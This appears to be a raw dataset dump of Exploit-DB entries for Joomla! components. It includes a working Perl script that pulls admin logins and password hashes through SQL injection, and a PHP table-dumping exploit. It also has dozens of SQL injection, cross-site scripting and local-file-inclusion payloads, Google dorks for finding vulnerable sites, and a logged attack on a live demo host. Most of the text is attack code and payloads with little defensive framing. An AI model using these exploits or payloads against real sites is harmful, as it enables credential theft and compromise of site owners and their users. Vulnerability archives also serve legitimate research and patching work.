deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5740
Description: Joomla! Component EasyBook 1.1 - 'gbid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-04
Author: ZAMUT

Exploit:
#!/usr/bin/perl
use IO::Socket;
use strict;

##### INFO##############################
# Example:                             #
# Host: xxx.lu  	               #
# &md: 0f8ab366793a0d1da85c6f5a8d4fb576#
########################################


print "-+--[ Joomla Component EasyBook 1.1 SQL Injection Exploit]--+-\n";
print "-+--                                                      --+-\n";
print "-+--            Author: ZAMUT                             --+-\n";
print "-+--            Vuln: gbid=                               --+-\n";
print "-+--            Homepage: http://antichat.ru              --+-\n";
print "-+--            Dork: com_easybook                        --+-\n\n";

print "Host:" ;
chomp(my $host=<STDIN>);
print "&md=";
chomp(my $md=<STDIN>);

my ($socket,$lhs,$l,$h,$s);
$socket = IO::Socket::INET->new("$host:80") || die("Can't connecting!");
print $socket  "POST /index.php HTTP/1.0\n".
               "Host: www.$host\n".
			   "Content-Type: application/x-www-form-urlencoded\n".
			   "Content-Length: 214\n\n".
               "option=com_easybook&Itemid=1&func=deleteentry&gbid=-1+union+select+1,2,concat(0x3A3A3A,username,0x3a,password,0x3A3A3A),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+jos_users/*&md=$md\n";
  while(<$socket>)
  {
	 $s = <$socket>;
	 if($s=~/:::(.+):::/){
		   $lhs = $1;
	       ($l,$h,$s)=split(':',$lhs);
		   print "\nAdmin Login:$l\nHash:$h\nSalt:$s\n";
		   close $socket; 
		   exit; }
  }
  die ("Exploit failed!");

# milw0rm.com [2008-06-04]
Exploit-DB #33639
Description: Joomla! Component EasyBook 2.0.0rc4 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2009-09-17
Author: Jeff Channell

Exploit:
source: https://www.securityfocus.com/bid/38209/info

Joomla! EasyBook component is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

EasyBook 2.0.0rc4 is vulnerable; other versions may also be affected. 


The following example input is available:

[img]fake.png" onerror="alert(String.fromCharCode(88,83,83))[/img]
foo.com" onmouseover="alert(String.fromCharCode(88,83,83));return false;
' onclick="alert('XSS')"
" onclick="alert('xss')"
Exploit-DB #43488
Description: Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-10
Author: Mattia Furlani

Exploit:
# Exploit Title: Joomla Plugin Easydiscuss <4.0.21 Persistent XSS in Edit Message
# Date: 06-01-2018
# Software Link: https://stackideas.com/easydiscuss
# Exploit Author: Mattia Furlani
# CVE: CVE-2018-5263
# Category: webapps

1. Description

Whenever a user edits a message with <\textarea> inside the body, everything after the <\textarea> will be executed in the user’s browser. Works with every version up to 4.0.20


2. Proof of Concept

Login with permissions to post a message, insert <\textarea> in the body and add any html code after that, whenever a user tries to edit that message the code writed after you closed the textarea will be executed


3. Solution:

Update to version 4.0.21
https://stackideas.com/blog/easydiscuss4021-update
Exploit-DB #11996
Description: Joomla! Component EContent - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-01
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component EContent Local File Inclusion
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 31 March 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application	: EContent
version		: 1.0.1
Developer	: E-Content
website		: http://www.econtentsite.com/
License		: GPL            type  : Non-Commercial
Date Added	: 24 March 2010
Download	: http://www.econtentsite.com/



Description     :

If you are looking a way to add new/fresh content to your Joomla website,
without having to write a new article everyday, then E-Content Joomla
Component is the solution for you!

As we know articles is very important for business, especially for Internet
Marketing Business. You need to continually write unique and quality articles
to keep the attention of visitors and search engines.

E-Content allows you to automatically collect RSS feed, HTML page content items
and have each item inserted as an Joomla article in the section and category
you define. The content of the article will vary based on the specific page you
select.


--------------
file error	: components/com_econtent/econtent.php

how to exploit

http://127.0.0.1/index.php?option=com_econtent&controller=../../../../../../../../../../etc/passwd%00

------------------------


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #12153
Description: Joomla! Component education - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-11
Author: bumble_be

Exploit:
# Exploit Title: joomla component education SQL injection Vulnerability
# Author: bumble_be
# Software Link: N/A
# Tested on: Windows XP 2

======================================================================
[x] author : bumble_be (iogi89@ymail.com)
[x] dork : inurl:option=com_education_classes
[x] myweb : http://linggau-haxor.com
======================================================================

==== SQLI EXPLOIT ====
/**/AND/**/1=2/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--



==== VULN IN HERE ====

http://localhost/xampp/joomla/index.php?option=com_education_classess&task=showEvents&id=11[c0de]



==== LIVE DEMO ====

http://localhost/xampp/joomla/index.php?option=com_education_classes&task=showEvents&id=11/**/AND/**/1=2/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

[x]-------------------------------------------------------------------

GREETZ TO WE FORUM:
DEVILZC0DE.ORG / INDONESIANHACKER.ORG / HACKER-NEWBIE.ORG / PALEMBANGHACKERLINK.ORG / YOGYACARDERLINK.WEB.ID

[x]-------------------------------------------------------------------

MY BROTHA :
mywisdom,whitehat spykid, chaer.newbie, flyff666 , revres tanur , kiddies, petimati, ketek, syntax_error, system_rt0, suddent_death,
eidelweiss , Aaezha, ichito-bandito, kamtiEz, r3m1ck, otong, 3xpL0it, bl4ck_sh4d0w, demnas, RxN and all crew indonesia hacker

[x]-------------------------------------------------------------------

note :mulailah sesuatu dengan ucapan bissmillah

[X]-------------------------------------------------------------------
Exploit-DB #44893
Description: Joomla! Component Ek Rishta 2.10 - SQL Injection
Type: webapps
Platform: php
Date: 2018-06-14
Author: Guilherme Assmann

Exploit:
# Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
# Date: 2018-06-14
# Exploit Author: Guilherme Assmann
# Vendor Homepage:https://www.joomla.org/
# Version: 2.10
# Tested on: MacOSX, Safari, Chrome
# Download: https://extensions.joomla.org/extension/ek-rishta/
# CVE: CVE-2018-12254

# Vulnerability Description
# To exploit this vulnerability, the user must be logged on to the platform!
# the vulnerability allows SQL Injection via the
# PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
# more information(en): 
# https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
# more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
# more information: https://desecsecurity.com/
# exploit code to dump tables:

<?php

// CVE-2018-12254

// after dump the tables, use %60%23table_name%60 to dump columns...

$host = $argv[1];
$cookie = $argv[2];

// Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
function exploit($host,$ck){
$urls = sqli();
$ch = curl_init();
foreach($urls as $url){
curl_setopt($ch,CURLOPT_URL,$host.$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_USERAGENT,":)");
curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
curl_setopt($ch,CURLOPT_TIMEOUT,100);
$response = curl_exec($ch);
$s =  strpos($response,"#__");
echo substr($response,$s,30)."\n";
}
}
function sqli(){
$uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
for($i=0;$i<100;$i++){
$value = $i+1;
$data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
}
return $data;
}
exploit($host,$cookie);
?>
Exploit-DB #44161
Description: Joomla! Component Ek Rishta 2.9 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-22
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component Ek Rishta 2.9 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
# Version: 2.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7315
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC: 
# 
# 1)
# http://localhost/[PATH]/index.php/component/ekrishta/alluser?options=com_ekrishta&view=alluser
# &gender=[SQL]
# &age1=[SQL]
# &age2=[SQL]
# &religion=[SQL]
# &mothertounge=[SQL]
# &caste=[SQL]
# &country=[SQL]
# 
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
# 
# # # #
Exploit-DB #44869
Description: Joomla! Component EkRishta 2.10 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2018-06-11
Author: 41!kh4224rDz

Exploit:
# # # #
# Exploit Title: Joomla! Component Ek Rishta 2.10 - SQL Injection 
# Dork: N/A
# Date: 08.06.2018
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Software Link: https://extensions.joomla.org/extension/ek-rishta/
# Version: 2.10
# Tested on: WiN7_x64/
# video : https://youtu.be/UWGFVUU9AU0
# # # #
# Exploit Author: 41!kh4224rDz
# # # #
# ------------------------------SQL
Injection----------------------------------------
# POC:
# Parameter : user_detail&cid
# Payload : 1%' AND SLEEP(10)%23
#
# 1)
#
http://localhost/[PATH]/index.php?option=com_ekrishta&view=user_detail&cid=941%%27%20AND%20SLEEP(10)%23
#
#
# # # #
Exploit-DB #44877
Description: Joomla! Component EkRishta 2.10 - 'username' SQL Injection
Type: webapps
Platform: php
Date: 2018-06-12
Author: L0RD

Exploit:
# Exploit Title: Joomla! Component EkRishta 2.10 - 'username' SQL Injection
# Date: 2018-06-11
# Exploit Author: L0RD
# Software Link: https://extensions.joomla.org/extension/ek-rishta/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.10
# Tested on: Win 10

# POC : SQLi :
# Parameter : username
# Type : Error based
# Payload : 1' AND extractvalue(1,concat(0x3a,user(),0x3a))#
# Test : http://joomlaextension.biz/ekrishta/index.php/login/sign-in

# Request

POST /ekrishta/index.php/login/sign-in HTTP/1.1
Host: joomlaextension.biz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://joomlaextension.biz/ekrishta/index.php/login/sign-in
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
Cookie: 2b59fab16cbbad2fc73d64e5cc7a2950=k0fcnijgbnnk4i8f15bem38vp3;
joomla_user_state=logged_in
Connection: keep-alive
Upgrade-Insecure-Requests: 1

username=1' AND
extractvalue(1,concat(0x3a,user(),0x3a))#&[CREDENTIAL_REDACTED]=Log+in+to+your+account&Itemid=117&option=com_ekrishta&view=alluser&task=check_login&lid=loginuser&return=L2VrcmlzaHRhL2luZGV4LnBocC9sb2dpbi9zaWduLWlu&bac2b97217cd995b069b5b0bc198de1c=1

# Response

HTTP/1.1 500 XPATH syntax error: ':harmiste_rishtaa@localhost:' SQL=select
* from #__users where username='1' AND
extractvalue(1,concat(0x3a,user(),0x3a))#'
Server: nginx
Date: Mon, 11 Jun 2018 17:05:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Host-Header: 192fc2e7e50945beb8231a492d6a8024
Content-Length: 3181
Exploit-DB #44660
Description: Joomla! Component EkRishta 2.10 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2018-05-20
Author: Sina Kheirkhah

Exploit:
# Exploit Title: Joomla! extension EkRishta 2.10 - Persistent Cross-Site Scripting  / SQL Injection
# Dork: N/A
# Date: 2018-05-18
# Exploit Author: Sina Kheirkhah || (Sina.For.Sec@gmail.com)
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
# Vendor Homepage: https://www.joomlaextensions.co.in/
# Version: 2.10
# Category: Webapps
# CVE: N/A
#
#
#
#POC-1) Cross site scripting (XSS) :
#
#
# Description:
#
# 1)create a profile
# 2)you can use your payload in profile info page
# 3)for example in Address field you can use
"></textarea><script>prompt('address')</script>
# 4)now the Payload will be executed whenever someone visits your profile
#
#
# POC-2) SQL Injection:
#
# Description:
# 1)the website has filtered all the inputs for sql injection BUT
# you can use the user_setting page in order to Inject SQL code
# by using POST method
# http://localhost/ekrishta/index.php/profile/user_setting
#
# <form method="POST" action="http://localhost/ekrishta/index.php/profile/user_setting">
# <input type="text" name="phone_no" value="SQL injection">
# <input type="hidden" name="task" value="save">
# <input type="submit" name="save" value="Save"/>
# </form>
Exploit-DB #7881
Description: Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: TurkGuvenligi

Exploit:
www.turkguvenligi.info / Author : TurkGuvenligi / Mail : admin@turkguvenligi.info

t4cs1zkr4L - Agd_scorp - TheHacker - Fatih - SuSkuN - Zec - DreamTurk - Mr.SheYtaN - Ghost61 - BLaSteR - Desquner

Very Very Thanks : TurkguvenLigi Members - Terrorist Crew

Joomla Component Flash Magazine Deluxe Remote Sql Injection

http://localhost/index.php?option=com_flashmagazinedeluxe&Itemid=10&task=magazine&mag_id=-4+SQL

companent down bro : http://www.elearningforce.biz/flash-magazine-deluxe/flash-magazine-deluxe-description.html

SQL : union+select+1,2,3,unhex(hex(version())),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*

Are you ready ? , isko s2mi 7.

Hop hop isko top isko , hop hop isko gÃ¶t isko...

Note : Ä°sko[bknz:Ã¶kÃ¼z]'un makinemize Ã§ektigi agÄ±r ddos tan doLayÄ± server yeniLeniyor...

Ã§ok yakÄ±nda [TG] online...Ä°sko artÄ±k sende kabahat buLmuyom seni o mahaLLede barÄ±ndÄ±ran

muhtarÄ±n a.Q...

# milw0rm.com [2009-01-26]
Exploit-DB #5723
Description: Joomla! Component equotes 0.9.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-02
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/        Joomla Component equotes  Remote SQL injection         \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_eQuotes

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_equotes&id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_equotes&id=13 and 1=1 union select user(),concat(username,0x3a,password),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...

# milw0rm.com [2008-06-02]
Exploit-DB #41387
Description: Joomla! Component EShop 2.5.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component EShop v2.5.1 - SQL Injection
# Google Dork: inurl:index.php?option=com_eshop
# Date: 18.02.2017
# Vendor Homepage: https://www.joomdonation.com/
# Software Buy: https://www.joomdonation.com/joomla-extensions/eshop-joomla-shopping-cart.html
# Demo: http://joomdonationdemo.com/eshop
# Version: 2.5.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_eshop&view=category&id=[SQL]
# # # # #
Exploit-DB #18728
Description: Joomla! Component Estate Agent - SQL Injection
Type: webapps
Platform: php
Date: 2012-04-10
Author: xDarkSton3x

Exploit:
##################################################
# Exploit Title: joomla component (com_estateagent) SQL injection Vulnerability
# Date: 10/04/2012
# Author: xDarkSton3x
# E-mail : xdarkston3x@msn.com
# Category:: webapps
# Google dork: inurl:"com_estateagent"
# Tested on: linux + windows
# Vendor link: http://www.eaimproved.eu/index.php
##################################################

[~]Exploit/p0c :
http://site.com/index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]

Greetz [ Rs4 - B4nz0k - FailRoot - FailSoft - W4rn1ng] - [ Malandrines Team  -  DiosdelaRed.Com - RemoteExecution ] [ Dedalo - Maztor ]
Exploit-DB #40423
Description: Joomla! Component Event Booking 2.10.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-09-26
Author: Persian Hack Team

Exploit:
######################
# Exploit Title : Joomla Event Booking Component - SQL Injection
# Exploit Author :  Persian Hack Team
# Homepage : http://persian-team.ir
# Vendor Homepage : http://extensions.joomla.org/extension/event-booking
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.10.1
# Date 2016/09/25
######################
#
# PoC
#    => Sql Injection :
# Date Parameter Vulnerable To SQL
# Demo :
# http://server/index.php?option=com_eventbooking&view=calendar&layout=weekly&date={SQL}&Itemid=354
#
# Video : http://persian-team.ir/showthread.php?tid=160&pid=291
######################
# Discovered by :  Mojtaba MobhaM 
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
######################
Exploit-DB #10549
Description: Joomla! Component Event Manager - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#####################################################################
#Joomla Component Event Manager Blind SQL Injection Vulnerability   #                                  
#####################################################################


# author        : Fl0riX

# Script Name    : Joomla Component Event Manager 1.5

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
(+)
&#65533; http://server/eventmanager/index.php?option=com_content&view=article&id=44 and 1=2
(+)
&#65533; http://server/eventmanager/index.php?option=com_content&view=article&id=44 and 1=1

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_content&view=article&id=[Blind]

< -- bug code end of -- >
Exploit-DB #42416
Description: Joomla! Component Event Registration Pro Calendar 4.1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-02
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component Event Registration Pro Calendar v4.1.3 - SQL Injection
# Dork: N/A
# Date: 02.08.2017
# Vendor : http://joomlashowroom.com/
# Software: https://www.joomlashowroom.com/products/event-registration-pro-calendar
# Demo: http://demo3.joomlashowroom.com/
# Version: 4.1.3
# # # # #
# Author: Ihsan Sencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_registrationpro&view=category&id=[SQL]
# -33++union+select++make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@),2,3,4--+-
# Etc..
# # # # #
Exploit-DB #14187
Description: Joomla! Component eventCal 1.6.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-03
Author: RoAd_KiLlEr

Exploit:
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://a-h-crew.net    
[~] Download App:http://joomlacode.org/gf/project/eventcal/frs/
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
eventCal is a calendar component for
Joomla!. It enables you to provide a
month, week and day-overview of events
to your users. If enabled, users will
be able to submit events from the
frontend of your site directly into the
calendar.
=========================================

[+] Dork: inurl:"com_eventcal"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_eventcal&Itemid=[BLIND SQL-i] 



===========================================================================================
[!] Albanian Hacking Crew           
===========================================================================================
[!] **RoAd_KiLlEr**   
===========================================================================================
[!] MaiL: sukihack[at]gmail[dot]com
===========================================================================================
[!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers 
===========================================================================================
[!] Spec Th4nks: Inj3ct0r.com & r0073r  | indoushka from Dz-Ghost Team  | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz
===========================================================================================
[!] Red n'black i dress eagle on my chest
It's good to be an ALBANIAN
Keep my head up high for that flag I die
Im proud to be an ALBANIAN
===========================================================================================